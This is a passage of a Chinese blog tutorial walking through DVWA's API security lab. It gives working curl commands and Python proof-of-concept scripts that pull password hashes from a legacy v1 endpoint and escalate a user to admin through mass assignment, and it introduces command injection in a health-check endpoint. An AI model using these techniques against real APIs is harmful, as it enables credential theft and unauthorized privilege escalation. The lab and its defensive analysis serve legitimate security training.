文章目录
- 一、概述
- [二、LOW 级别 ------ 旧版 API 泄露密码哈希](#二、LOW 级别 —— 旧版 API 泄露密码哈希)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- [(1)观察页面正常调用的 v2 接口](#(1)观察页面正常调用的 v2 接口)
- [(2)将 v2 改为 v1,窃取密码哈希](#(2)将 v2 改为 v1,窃取密码哈希)
- (3)验证单个用户接口同样泄露
- 5、Python------PoC脚本
- [6、AI视角下的 API 安全](#6、AI视角下的 API 安全)
- 7、LOW级别------小结
- [三、MEDIUM 级别 ------ PUT 接口字段越权提权](#三、MEDIUM 级别 —— PUT 接口字段越权提权)
-
- 1、漏洞描述
- 2、查看网页源代码
- 3、分析网页源代码
- 4、操作步骤
-
- (1)获取提权前的用户信息
- [(2)发送 PUT 请求,body 中加入 level:0](#(2)发送 PUT 请求,body 中加入 level:0)
- (3)验证提权结果(注意:数据不跨请求持久化)
- [(4)在页面上看到 "Well done" 提示](#(4)在页面上看到 "Well done" 提示)
- 5、Python------PoC脚本
- [6、AI视角下的 API 安全](#6、AI视角下的 API 安全)
- [7、 MEDIUM级别------小结](#7、 MEDIUM级别——小结)
- [四、HIGH 级别 ------ health 接口命令注入](#四、HIGH 级别 —— health 接口命令注入)
-
- 3、分析网页源代码
- 4、操作步骤
-
- [(1)从 OpenAPI 文档定位待测接口](#(1)从 OpenAPI 文档定位待测接口)
- [(2)正常请求(返回 500)](#(2)正常请求(返回 500))
- [(3)命令注入:用 & 追加成功命令](#(3)命令注入:用 & 追加成功命令)
- [(4)盲注验证:不存在的主机 + 成功命令仍返回 200](#(4)盲注验证:不存在的主机 + 成功命令仍返回 200)
- [(5)对比:不存在的主机单独请求返回 500](#(5)对比:不存在的主机单独请求返回 500)
- (6)时间盲注:用延迟确认命令执行
- 5、Python------PoC脚本
- [6、AI视角下的 API 安全](#6、AI视角下的 API 安全)
- 7、HIGH级别------小结
- [五、Impossible 级别 ------ OAuth 2.0 保护](#五、Impossible 级别 —— OAuth 2.0 保护)
- [六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比](#六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比)
-
- 1、防护策略演进对比
- 2、攻击面变化分析
- [3、API 安全的核心原则](#3、API 安全的核心原则)
- 七、总结
- 八、AI增强防御建议
-
- [1、智能 API 安全检测](#1、智能 API 安全检测)
- [2、基于行为的 API 异常检测](#2、基于行为的 API 异常检测)
- 3、总结
- 个人主页 :蒲公英eric
- 专栏传送门 :《DVWA通关全记录:从漏洞复现到安全防御》
- 学习方向:Web安全 / AI安全交叉领域
- 人生格言:安全没有终点,只有不断迭代的防御
📌 本文是专栏「DVWA通关全记录:从漏洞复现到安全防御」的第 19 篇文章。
一、概述
1、什么是 API 安全?
API(Application Programming Interface)是现代 Web 应用的基石,用于前后端分离、系统间数据交换和第三方集成。API 安全是指保护 API 免受未授权访问、数据泄露、注入攻击等威胁的安全措施。
与传统 Web 漏洞不同,API 安全的特殊性在于:
- 接口即功能:每个 API 端点都是一个可被直接调用的功能入口,绕过了页面层的 UI 约束
- 版本演进风险:API 通常需要维护多个版本以保证向后兼容,但旧版本往往包含已知漏洞却未被及时下线
- 字段级越权 :API 接收 JSON 输入,服务端若未严格校验字段,攻击者可传入未预期的字段(如
level、is_admin) - 服务端执行:部分 API 会在服务端执行系统命令、查询数据库等操作,输入未过滤即导致注入
2、四级挑战一览
API 模块的四个级别考察的是完全不同的安全问题,不是同一漏洞的渐进修复:
| 级别 | 核心漏洞 | 攻击方式 | 防御要点 |
|---|---|---|---|
| LOW | 旧版 API(v1)仍可访问,返回 password 哈希 | 调用 /v1/user/ 窃取密码哈希 |
及时下线旧版本接口 |
| MEDIUM | PUT 更新用户时可传入 level 字段提权 |
PUT /v2/user/2 body 中加 "level":0 |
服务端严格白名单校验可更新字段 |
| HIGH | health/connectivity 的 target 拼入 exec() |
target=127.0.0.1 & 命令 实现命令注入 |
禁止直接拼接执行命令,用白名单校验 |
| Impossible | Order 接口受 OAuth 2.0 保护 | 需先登录获取 access_token 才能访问 | 认证 + 授权 + 令牌过期机制 |
3、模块架构
API 模块采用典型的 MVC 架构,所有请求经 public/index.php 路由到对应 Controller:
请求 /vulnerabilities/api/v2/user/2
↓
public/index.php(解析 URI,提取 version=2, controller=user, id=2)
↓
new UserController("GET", 2, 2)->processRequest()
↓
getUser(2) → 返回该用户的 JSON
涉及的核心文件:
| 文件 | 作用 |
|---|---|
public/index.php |
前端控制器,路由分发 |
src/UserController.php |
用户资源 CRUD |
src/HealthController.php |
健康检查(含命令注入点) |
src/OrderController.php |
订单资源(OAuth 保护) |
src/LoginController.php |
OAuth 登录/刷新令牌 |
src/User.php |
用户模型,toArray($version) 决定是否返回 password |
二、LOW 级别 ------ 旧版 API 泄露密码哈希
1、漏洞描述
LOW 级别的页面通过 JavaScript 调用 /vulnerabilities/api/v2/user/ 获取所有用户并渲染成表格。v2 版本的接口返回 id、name、level 三个字段,不包含密码。
核心问题在于:旧版本 v1 的接口仍然可以访问,且 v1 会返回 password 字段(SHA-256 哈希)。
页面给出的提示是:"Look at the call used to create this table and see if you can exploit it to return some additional information."(看看创建表格用的调用,想办法让它返回额外信息)。
2、查看网页源代码
php
<?php
$errors = "";
$success = "";
$messages = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
}
$request_url = $_SERVER['REQUEST_URI'];
$stripped_url = str_replace ("/vulnerabilities/api/", "", $request_url);
echo "
<p>
Versioning is important in APIs, running multiple versions of an API can allow for backward compatibility and can allow new services to be added without affecting existing users. The downside to keeping old versions alive is when those older versions contain vulnerabilities.
</p>
";
echo "
<script>
function update_username(user_json) {
console.log(user_json);
var user_info = document.getElementById ('user_info');
var name_input = document.getElementById ('name');
if (user_json.name == '') {
user_info.innerHTML = 'User details: unknown user';
name_input.value = 'unknown';
} else {
if (user_json.level == 0) {
level = 'admin';
} else {
level = 'user';
}
user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';
name_input.value = user_json.name;
}
const message_line = document.getElementById ('message');
if (user_json.id == 2 && user_json.level == 0) {
message_line.style.display = 'block';
} else {
message_line.style.display = 'none';
}
}
function get_users() {
const url = '" . $stripped_url . "/vulnerabilities/api/v2/user/';
fetch(url, {
method: 'GET',
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
loadTableData(data);
})
.catch(error => {
console.error('There was a problem with your fetch operation:', error);
});
}
HTMLTableRowElement.prototype.insert_th_Cell = function(index) {
let cell = this.insertCell(index)
, c_th = document.createElement('th');
cell.replaceWith(c_th);
return c_th;
}
function loadTableData(items) {
const table = document.getElementById('table');
const tableHead = table.createTHead();
const row = tableHead.insertRow(0);
item = items[0];
Object.keys(item).forEach(function(k){
let cell = row.insert_th_Cell(-1);
cell.innerHTML = k;
if (k == 'password') {
successDiv = document.getElementById ('message');
successDiv.style.display = 'block';
}
});
const tableBody = document.getElementById('tableBody');
items.forEach( item => {
let row = tableBody.insertRow();
for (const [key, value] of Object.entries(item)) {
let cell = row.insertCell(-1);
cell.innerHTML = value;
}
});
}
</script>
";
echo "
<table id='table' class=''>
<thead>
<tr id='tableHead'>
</tr>
</thead>
<tbody id='tableBody'></tbody>
</table>
<p>
Look at the call used to create this table and see if you can exploit it to return some additional information.
</p>
<div class='success' style='display:none' id='message'>Well done, you found the password hashes.</div>
<script>
get_users();
</script>
";
?>
3、分析网页源代码
(1)代码概述
| 组件 | 行为 | 安全问题 |
|---|---|---|
| 页面 JS | 调用 /v2/user/ 渲染表格 |
仅前端使用 v2,未限制后端 |
User::toArray(1) |
返回含 password 的数组 |
旧版本字段脱敏不完整 |
User::toArray(2) |
返回不含 password 的数组 |
v2 已修复,但 v1 未下线 |
| 路由器 | v1、v2 均可访问 | 未禁用旧版本接口 |
(2)漏洞分析
① 漏洞一 ------ 旧版本接口未下线(API 版本管理缺陷):
问题分析:v1 接口在功能上已被 v2 取代,但服务端没有将其下线。攻击者只需将 URL 中的 v2 改为 v1,即可获取包含密码哈希的完整用户数据。
② 漏洞二 ------ 敏感字段未脱敏:
问题分析:v1 的 toArray() 直接返回了 password 字段(SHA-256 哈希)。即使哈希不可逆,攻击者仍可通过彩虹表或离线爆破还原弱密码。
③ 漏洞三 ------ 批量数据泄露:
问题分析:/v1/user/(不带 ID)返回所有用户的列表,包括 admin(id=1, level=0)的密码哈希。一次请求即可拖走全部用户凭据。
4、操作步骤
⚠️ 踩坑:nginx 下干净 URL 默认 404,需配置 rewrite 并重启。 直接访问
http://dvwa.cc/vulnerabilities/api/v2/user/在未配置的 nginx 下返回 404(nginx 不解析.htaccess)。按文首勘误在 vhosts 中加入 rewrite 规则(记得写index index.php;),再通过 phpStudy 面板重启 Nginx 后,刷新页面前端 fetch 即可正常返回数据。命令行nginx -s reload因权限不足会失败,必须用面板重启。
(1)观察页面正常调用的 v2 接口
- 登录 DVWA,安全级别设为 Low,进入 API 模块
- 按 F12 → Network,刷新页面
- 找到
v2/user/请求(完整路径为/vulnerabilities/api/v2/user/),响应为:
json
[
{"id":1,"name":"tony","level":0},
{"id":2,"name":"morph","level":1},
{"id":3,"name":"chas","level":1}
]
注意:v2 返回的字段只有
id、name、level,没有password。

(2)将 v2 改为 v1,窃取密码哈希
在浏览器地址栏或 curl 中访问 v1 接口:
bash
curl "http://dvwa.cc/vulnerabilities/api/v1/user/"
响应:
json
[
{"id":1,"name":"tony","level":0,"password":"1c8bfe8f801d79745c4631d09fff36c82aa37fc4cce4fc946683d7b336b63032"},
{"id":2,"name":"morph","level":1,"password":"e5326ba4359f77c2623244acb04f6ac35c4dfca330ebcccdf9b734e5b1df90a8"},
{"id":3,"name":"chas","level":1,"password":"a89237fc1f9dd8d424d8b8b98b890dbc4a817bfde59af17c39debcc4a14c21de"}
]
对比可见:v1 多了
password字段,admin(id=1) 的密码哈希1c8bfe8f...被直接泄露。
(3)验证单个用户接口同样泄露
bash
curl "http://dvwa.cc/vulnerabilities/api/v1/user/1"
返回 {"id":1,"name":"tony","level":0,"password":"1c8bfe8f..."},单个用户接口同样泄露密码。
5、Python------PoC脚本
python
"""
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA API Security ------ LOW 级别 PoC(旧版接口字段泄露)
--------------------------------------------------------------------
漏洞原理:
LOW 级别下,API 模块同时对外提供 v1 和 v2 两个版本的用户接口:
① v2/user/ 是修复后的版本,toArray(2) 只返回 id/name/level;
② v1/user/ 是旧版本,toArray(1) 额外返回 password 字段(SHA-256 哈希);
③ 服务端未对 v1 接口做下线或访问限制,攻击者只需把 URL 中的
"v2" 改成 "v1" 即可获取所有用户的密码哈希。
由此形成"版本演进导致的敏感数据泄露"------新版修了,旧版没下线。
验证方法:
① GET /v2/user/ 确认 v2 返回字段不含 password(安全基线);
② GET /v1/user/ 确认 v1 返回字段含 password(漏洞点);
③ 对比两次响应的字段差异,输出 admin(id=1) 的密码哈希。
使用方法:
python low.py
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import requests
import json
BASE = "http://dvwa.cc"
API = f"{BASE}/vulnerabilities/api"
def test_low_v1_leak():
s = requests.Session()
print("[*] 目标:", API)
print("[*] 漏洞:v1 版本 API 仍对外开放并返回 password 字段")
print("-" * 55)
# v2 正常接口(不返回密码)
r = s.get(f"{API}/v2/user/")
print("[v2] GET /v2/user/ ->", r.status_code)
v2 = r.json()
print("[v2] 返回字段:", list(v2[0].keys()))
print("-" * 55)
# v1 旧接口(返回密码哈希)
r = s.get(f"{API}/v1/user/")
print("[v1] GET /v1/user/ ->", r.status_code)
v1 = r.json()
print("[v1] 返回字段:", list(v1[0].keys()))
print("-" * 55)
if "password" in v1[0]:
print("[+] 漏洞确认:v1 接口泄露了 password 哈希字段!")
print("[+] admin(id=1) 的密码哈希:", v1[0]["password"])
if __name__ == "__main__":
test_low_v1_leak()
脚本说明:
| 代码行 | 说明 |
|---|---|
BASE = "http://dvwa.cc" |
DVWA 靶场的根地址,本机通过 hosts 指向 127.0.0.1 |
API = f"{BASE}/vulnerabilities/api" |
API 入口基址。使用 DVWA 原始干净 URL(依赖 nginx rewrite,见文首勘误);无 rewrite 的环境可改为 f"{BASE}/vulnerabilities/api/public/index.php" 走 PATH_INFO |
s = requests.Session() |
创建会话对象,自动管理 Cookie(DVWA 需要登录态的 PHPSESSID) |
r = s.get(f"{API}/v2/user/") |
第一步:请求 v2 正常接口 。v2 是修复后的版本,返回字段不含 password,作为基线对比 |
v2 = r.json() / list(v2[0].keys()) |
解析 JSON 响应,提取第一条记录的字段名列表,用于直观对比 v1/v2 字段差异 |
r = s.get(f"{API}/v1/user/") |
第二步:请求 v1 旧接口 。仅把 URL 中的 v2 改成 v1,这就是漏洞利用的核心------版本号可控 |
if "password" in v1[0] |
漏洞判定条件 :检查 v1 返回的第一条数据中是否包含 password 字段。若包含,说明旧版接口存在敏感字段泄露 |
v1[0]["password"] |
输出 admin(id=1)的密码哈希。v1[0] 是列表中第一个用户,即 id=1 的 tony(admin,level=0) |
脚本逻辑总结:先请求 v2 获取"安全基线"(无 password),再请求 v1 获取"泄露数据"(有 password),通过字段对比证明旧版接口未脱敏。整个利用过程只需改 URL 中的版本号,无需任何认证或绕过。

6、AI视角下的 API 安全
基于版本差异的敏感字段检测:
LOW 级别的漏洞是"旧版本接口字段脱敏不完整"。AI 可从以下维度辅助检测和防御:
- 接口版本对比 :自动抓取同一资源的所有版本接口(v1、v2、v3...),对比返回字段差异。当旧版本比新版本多出
password、email、phone、id_card等字段时,标记为高风险。可基于 OpenAPI/Swagger 文档自动枚举所有版本端点 - 字段敏感级分类 :用 NLP 模型对返回字段名和字段值进行敏感级分类(公开/内部/机密)。例如
password、secret、token自动归为机密级,name、id归为公开级。当机密级字段出现在任何版本接口时触发告警 - 僵尸接口扫描:定期扫描 API 网关或服务注册中心,标记长时间未更新(如超过 90 天无代码变更)但仍可访问的"僵尸接口"。这类接口往往是历史遗留,缺少最新的安全补丁
- 流量侧影子检测 :在 API 网关层部署 AI 流量分析,对所有请求的响应体进行实时扫描。当检测到响应中包含密码哈希(如 64 位十六进制字符串、bcrypt
$2a$前缀)、手机号(11 位数字)、身份证号等敏感模式时,立即拦截并告警 - 自动化利用验证 :AI 安全测试工具(如 OWASP ZAP + AI 插件)可自动遍历 API 版本号,将
/v2/user/改为/v1/user/、/v0/user/、/v3/user/等,检测是否存在未授权的旧版本接口返回额外数据
实战工具链:
- 接口枚举:
kiterunner、ffuf对版本号进行 fuzz - 字段敏感检测:自研规则引擎 + NER 模型识别 PII
- 流量分析:Apache APISIX / Kong 插件 + WAF 规则
7、LOW级别------小结
LOW 级别的 API 模块展示了API 版本管理最常见的错误:
- v2 修复了密码泄露问题,但 v1 接口未下线
- 攻击者只需修改 URL 中的版本号即可获取敏感数据
- 批量接口
/v1/user/一次泄露全部用户密码哈希
一句话总结:API 升级后必须及时下线旧版本,否则旧版本的漏洞等于没修。
三、MEDIUM 级别 ------ PUT 接口字段越权提权
1、漏洞描述
MEDIUM 级别的页面展示单个用户(id=2,morph)的信息,并提供一个表单修改用户名。前端通过 PUT /v2/user/2 提交 {"name": "新名字"}。
核心漏洞在于:服务端的 updateUser() 方法虽然只校验 name 字段是否存在,但实际更新时会同时处理 level 字段 。攻击者在 PUT 请求体中加入 "level": 0,即可将普通用户提权为管理员。
页面提示:"Look at the call used to update your name and exploit it to elevate your user to admin (level 0)."
2、查看网页源代码
php
<?php
$request_url = $_SERVER['REQUEST_URI'];
$stripped_url = str_replace ("/vulnerabilities/api/", "", $request_url);
echo "
<script>
function update_username(user_json) {
console.log(user_json);
var user_info = document.getElementById ('user_info');
var name_input = document.getElementById ('name');
if (user_json.name == '') {
user_info.innerHTML = 'User details: unknown user';
name_input.value = 'unknown';
} else {
var level = 'unknown';
if (user_json.level == 0) {
level = 'admin';
successDiv = document.getElementById ('message');
successDiv.style.display = 'block';
} else {
level = 'user';
}
user_info.innerHTML = 'User details: ' + user_json.name + ' (' + level + ')';
name_input.value = user_json.name;
}
}
function get_user() {
const url = '" . $stripped_url . "/vulnerabilities/api/public/index.php/v2/user/2';
fetch(url, {
method: 'GET',
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
update_username (data);
})
.catch(error => {
console.error('There was a problem with your fetch operation:', error);
});
}
function update_name() {
const url = '" . $stripped_url . "/vulnerabilities/api/public/index.php/v2/user/2';
const name = document.getElementById ('name').value;
const data = JSON.stringify({name: name});
fetch(url, {
method: 'PUT',
headers: {
'Content-Type': 'application/json'
},
body: data
})
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
update_username(data);
})
.catch(error => {
console.error('There was a problem with your fetch operation:', error);
});
}
</script>
";
echo "
<p>
Look at the call used to update your name and exploit it to elevate your user to admin (level 0).
</p>
<p id='user_info'></p>
<form method='post' action=\"" . $_SERVER['PHP_SELF'] . "\">
<p>
<label for='name'>Name</label>
<input type='text' value='' name='name' id='name'>
</p>
<p>
<input type=\"button\" value=\"Submit\" onclick='update_name();'>
</p>
</form>
<div class='success' style='display:none' id='message'>Well done, you elevated your user to admin.</div>
<script>
get_user();
</script>
";
?>
3、分析网页源代码
(1)代码概述
| 组件 | 行为 | 安全问题 |
|---|---|---|
| 前端 JS | PUT body 只含 name |
前端约束可被绕过 |
validateUpdate() |
仅校验 name 存在 |
未限制可更新字段白名单 |
updateUser() |
同时更新 name 和 level |
level 字段未被拒绝,导致越权 |
(2)漏洞分析
① 漏洞一 ------ 服务端未做字段白名单校验(批量赋值风险):
问题分析:validateUpdate() 只检查 name 是否存在,但 updateUser() 中只要请求体里出现 level 就会被赋值。这是典型的**Mass Assignment(批量赋值)**漏洞------服务端信任了客户端传入的所有字段。
② 漏洞二 ------ 权限字段可被客户端控制:
问题分析:level 是权限标识(0=admin,1=user),本应由服务端控制,不应允许客户端通过 API 修改。攻击者传入 level: 0 即可垂直越权。
③ 漏洞三 ------ 真实场景中提权会被持久化:
问题分析:本模块数据硬编码在控制器内存中(每次请求重新初始化),所以靶场里 PUT 后再 GET 会发现 level 回到 1;但漏洞代码(updateUser() 无条件写入 level)是真实存在的。在真实业务系统中用户数据存入数据库,同一个 PUT 请求会把提权结果永久保存,危害成立。
4、操作步骤
⚠️ 踩坑:前端只传 name,必须用脚本或 Burp 改包。 浏览器表单的 PUT 请求只提交
name字段,无法直接传入level。需要用 curl、Python requests 或 Burp Suite 拦截修改请求体。
(1)获取提权前的用户信息
bash
curl "http://dvwa.cc/vulnerabilities/api/v2/user/2"
返回:{"id":2,"name":"morph","level":1}(level=1,普通用户)
(2)发送 PUT 请求,body 中加入 level:0
bash
curl -X PUT "http://dvwa.cc/vulnerabilities/api/v2/user/2" \
-H "Content-Type: application/json" \
-d '{"name":"morph","level":0}'
返回:{"id":2,"name":"morph","level":0}(level=0,管理员!)
(3)验证提权结果(注意:数据不跨请求持久化)
PUT 的响应体本身就是证据 ------服务端回传 {"id":2,"name":"morph","level":0},证明它确实接受并应用了请求中的 level 字段。
⚠️ 踩坑:PUT 之后再 GET,level 又变回 1。 实测连续执行三条命令:
bashcurl "http://dvwa.cc/vulnerabilities/api/v2/user/2" # {"id":2,"name":"morph","level":1} curl -X PUT "http://dvwa.cc/vulnerabilities/api/v2/user/2" \ -H "Content-Type: application/json" \ -d '{"name":"morph","level":0}' # {"id":2,"name":"morph","level":0} ← 本次请求内生效 curl "http://dvwa.cc/vulnerabilities/api/v2/user/2" # {"id":2,"name":"morph","level":1} ← 新请求,level 又回到 1原因在源码:用户数据在
UserController构造函数中硬编码初始化 (src/UserController.php第 13-17 行),每个 HTTP 请求都会 new 一个全新的控制器,PUT 的修改只活在那一次请求的内存里,请求结束即消失。这不影响漏洞定性 ------updateUser()第 103-105 行白纸黑字地接受并写入了level字段;真实业务系统中数据存入数据库,同样的请求就会造成永久提权。
(4)在页面上看到 "Well done" 提示
medium 页面自带成功提示(默认隐藏):
html
<div class='success' style='display:none' id='message'>Well done, you elevated your user to admin.</div>
页面的 JS 回调 update_username() 只要收到 level == 0 的 PUT 响应,就会把它显示出来(source/medium.php 第 18-21 行)。而页面自带的 Submit 按钮只提交 {name},所以要看到提示,需在 medium 页面按 F12 打开控制台,把页面自己的 update_name() 请求加上 level:0 重放:
javascript
fetch('/vulnerabilities/api/v2/user/2', {
method: 'PUT',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({name: 'morph', level: 0})
}).then(r => r.json()).then(update_username)
执行后页面立即出现绿色提示 "Well done, you elevated your user to admin." ,用户信息变为 User details: morph (admin)。刷新页面后因数据重新初始化,提示消失(恢复为 user)。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA API Security ------ MEDIUM 级别 PoC(PUT 接口字段越权提权)
--------------------------------------------------------------------
漏洞原理:
MEDIUM 级别下,用户更新接口 PUT /v2/user/{id} 存在 Mass Assignment:
① 前端表单只提交 {"name": "新名字"},服务端 validateUpdate() 也只
校验 name 字段是否存在;
② 但 updateUser() 实际更新时,会把请求体中的所有字段都写入用户对象,
包括本不应由客户端控制的 level 字段;
③ 攻击者在 PUT body 中加入 "level": 0,即可将普通用户(level=1)
提权为管理员(level=0)。
本质:服务端缺少"可更新字段白名单",客户端传什么就存什么。
验证方法:
① GET /v2/user/2 获取提权前的 level(预期为 1);
② PUT /v2/user/2 body={"name":"morph","level":0} 发起提权;
③ PUT 响应中 level 变为 0,即证明服务端接受了越权字段;
④ 再次 GET 复查------level 仍为 1,因为靶场数据在每个请求中
重新初始化(非持久化),真实系统入库则会永久提权。
使用方法:
python medium.py
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import requests
import json
BASE = "http://dvwa.cc"
API = f"{BASE}/vulnerabilities/api"
def test_medium_escalation(user_id=2):
s = requests.Session()
print("[*] 目标:", API)
print(f"[*] 漏洞:PUT /v2/user/{user_id} 时传入 level=0 可提权为 admin")
print("-" * 55)
# 1. 获取提权前的用户信息
r = s.get(f"{API}/v2/user/{user_id}")
before = r.json()
print(f"[提权前] GET /v2/user/{user_id} ->", r.status_code)
print("[提权前] 用户数据:", json.dumps(before, indent=2, ensure_ascii=False))
before_level = before.get("level")
print("-" * 55)
# 2. 发送 PUT 请求,同时传入 name 和 level
payload = {"name": before.get("name", "morph"), "level": 0}
r = s.put(f"{API}/v2/user/{user_id}", json=payload)
print(f"[提权] PUT /v2/user/{user_id} body={payload} ->", r.status_code)
after = r.json()
print("[提权后] 用户数据:", json.dumps(after, indent=2, ensure_ascii=False))
print("-" * 55)
after_level = after.get("level")
if before_level == 1 and after_level == 0:
print(f"[+] 漏洞确认:PUT 响应中 level 从 {before_level} 变为 {after_level}(admin)")
print("[+] 服务端接受并应用了本不该由客户端控制的 level 字段(Mass Assignment)")
else:
print(f"[-] 提权未成功:level {before_level} -> {after_level}")
return False
# 3. 再发一次 GET:数据是否被持久化?
print("-" * 55)
r = s.get(f"{API}/v2/user/{user_id}")
reread = r.json()
print(f"[复查] GET /v2/user/{user_id} ->", r.status_code)
print("[复查] 用户数据:", json.dumps(reread, indent=2, ensure_ascii=False))
if reread.get("level") == before_level:
print("[i] 注意:level 又回到了", before_level,
"------用户数据在控制器构造函数中硬编码初始化,")
print(" 每次请求重置,PUT 只在单次请求内生效。真实系统写入数据库则会永久提权。")
return True
if __name__ == "__main__":
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("-" * 55)
test_medium_escalation(2)
脚本说明:
| 代码行 | 说明 |
|---|---|
def test_medium_escalation(user_id=2) |
默认提权目标用户 id=2(morph,普通用户 level=1)。选 id=2 是因为 id=1 已经是 admin,提权无意义 |
r = s.get(...) + before = r.json() |
第一步:获取基线 。记录提权前的完整用户数据,before_level 预期为 1 |
payload = {"name": ..., "level": 0} |
第二步:构造提权 payload 。name 取原值(避免改用户名引起怀疑),关键是加入 "level": 0。level=0 在 DVWA 中代表 admin |
s.put(..., json=payload) |
第三步:发送 PUT 。json=payload 自动设置 Content-Type: application/json 并序列化 body。漏洞核心------validateUpdate() 只检查 name,不限制 level |
if before_level == 1 and after_level == 0 |
漏洞判定 :以 PUT 响应体中的 level 变化为准(1→0),证明服务端接受了越权字段。注意不能以"PUT 后再 GET"为准------靶场数据每请求重置(见下一步) |
复查 s.get(...) + reread.get("level") |
第四步:验证持久性 。再 GET 一次会发现 level 仍是 1,这是 UserController 构造函数硬编码数据导致的,脚本如实打印这一现象,避免读者误以为提权被持久保存 |
脚本逻辑总结 :GET 取基线 → PUT 注入 level:0(响应回显 level=0,漏洞坐实)→ GET 复查(level 回到 1,证实数据非持久化)。利用点是服务端对 PUT body 没有字段白名单,属于典型的 Mass Assignment;真实系统中数据入库,同一请求即造成永久提权。

6、AI视角下的 API 安全
字段级越权检测与 Mass Assignment 防御:
MEDIUM 级别的漏洞是"服务端未校验可更新字段"(Mass Assignment)。AI 可从以下维度辅助:
- 请求字段异常检测 :对 PUT/PATCH/POST 请求的 body 字段进行基线建模。通过学习正常业务请求的字段集合(如用户更新接口正常只传
name、avatar),当请求中出现基线外字段(如level、role、is_admin、balance)时,标记为可疑请求并拦截。可采用孤立森林(Isolation Forest)或 One-Class SVM 进行异常检测 - 语义分析与字段归类 :用 NLP 模型分析字段名的语义,自动识别"权限相关字段"(
level、role、admin、privilege)、"财务相关字段"(balance、amount、price)、"安全相关字段"(password、token、secret)。这些字段不应由客户端直接控制,应在服务端根据业务逻辑设置 - 响应对比与权限变更监测 :对比同一用户在更新操作前后的响应数据,检测
level、role等权限字段是否发生异常变更。例如普通用户(level=1)更新后变为 level=0,这种跨级别的权限提升应触发告警。可结合用户行为基线(该用户历史上是否有提权操作)进行判断 - 代码静态分析辅助 :AI 辅助的 SAST 工具(如 Semgrep + AI 规则)可扫描服务端代码,识别"直接将请求体映射到 ORM 模型"的危险模式。例如检测
$user->fill($request->all())、$entity->update($input)这类无白名单的批量赋值写法,自动提示开发者添加字段白名单 - 主动模糊测试 :AI 驱动的 API 模糊测试工具可自动向更新接口注入额外字段(如在
{"name":"test"}基础上追加"level":0、"role":"admin"、"is_admin":true),观察服务端是否接受并存储,从而自动发现 Mass Assignment 漏洞
实战工具链:
- 字段基线建模:自研 API 流量分析平台 + 孤立森林算法
- 语义识别:BERT/RoBERTa 微调字段分类模型
- 代码审计:Semgrep 自定义规则 + CodeQL 查询
- 模糊测试:Postman + Newman 脚本、RESTler 自动 fuzz
7、 MEDIUM级别------小结
MEDIUM 级别的 API 模块展示了**Mass Assignment(批量赋值)**漏洞:
- 前端只传
name,但服务端来者不拒地处理了level validateUpdate()只做"必填校验",没有"字段白名单"- 攻击者一行
level:0,PUT 响应中的身份即变为管理员(靶场数据每请求重置、不持久化;真实系统入库即为永久提权)
一句话总结:API 更新接口必须用字段白名单,不能客户端传什么就存什么。
四、HIGH 级别 ------ health 接口命令注入
1、漏洞描述
HIGH 级别的页面没有表格、没有表单、也没有任何可点击的功能入口------这与前两个级别截然不同。页面主体只有三段引导文字,要求你像真实黑盒测试一样,从一份 OpenAPI 文档出发自己发现漏洞:
第一段:给出 OpenAPI 文档,限定排查范围
页面原文:"Here is the OpenAPI document, have a look the health functions and see if you can find one that has a vulnerability."(这是 OpenAPI 文档,去看看 health 相关函数,看你能不能找到有漏洞的那个。)
链接指向同目录的 openapi.yml(实测地址 http://dvwa.cc/vulnerabilities/api/openapi.yml,直接 GET 返回 200)。也就是说,官方把全部接口的"使用说明书"交给了你,但提示重点排查 health 系列。
第二段:提示子目录路径问题
页面提醒:文档中的路径(如 /vulnerabilities/api/v2/health/echo)假设 DVWA 装在 Web 文档根目录下;如果装在子目录(如 http://站点/DVWA/),需要给每个路径加上目录前缀(变成 /DVWA/vulnerabilities/api/v2/health/echo)。本文环境 DVWA 直接部署在 dvwa.cc 根目录,无需加前缀,文档路径可直接使用。
第三段:推荐用专业工具导入文档
页面原文:"You might be able to work out how to call the individual functions by hand, but it would be a lot easier to import it into an application such as Swagger UI, Burp, ZAP, or Postman..." ------可以手工拼请求,但导入 Swagger UI、Burp、ZAP 或 Postman 后工具会自动生成所有请求,效率更高。页面下方的 More Information 还给出了 OWASP WSTG API Testing Overview、Burp OpenAPI Parser、ZAP OpenAPI Support 等参考链接。
从文档中梳理出的攻击面 :打开 openapi.yml(YAML 格式,约 10KB),其中共定义 8 个路径,health 标签下有 4 个端点:
| 端点 | 方法 | 文档描述 | 参数 |
|---|---|---|---|
/v2/health/ping |
GET | Simple ping/pong to check connectivity | 无 |
/v2/health/status |
GET | Get the health of the system | 无 |
/v2/health/echo |
POST | Echo, echo, cho... | body: Words |
/v2/health/connectivity |
POST | Check connectivity status(服务器偶尔会断开与其他系统的连接,用它检查连通性) | body: Target(Remote host) |
四个端点里,前三个要么无参数、要么只是回显;唯独 connectivity 接收一个"远程主机"参数并在服务端执行连通性检查------所有接收用户输入、又在服务端触发系统调用的参数,都是命令注入的重点怀疑对象。
核心漏洞正在于此:connectivity 端点把 target 参数直接拼接到 exec("ping -c 4 " . $target) 中执行系统命令,存在命令注入漏洞。后续章节我们先从源码确认,再手工构造请求实测验证(不依赖 Swagger/Burp,只用 curl 和 Python)。
2、查看网页源代码
php
<?php
$message = "";
echo "
<p>
Here is the <a href='openapi.yml'>OpenAPI</a> document, have a look the health functions and see if you can find one that has a vulnerability.
</p>
<p>
Note, this file assumes you are running DVWA out of the document root, if you have installed it into a subdirectory, such as DVWA, then you will need to update it. Look through the file for the paths, e.g.<br><br>
<i>/vulnerabilities/api/v2/health/echo</i><br><br>
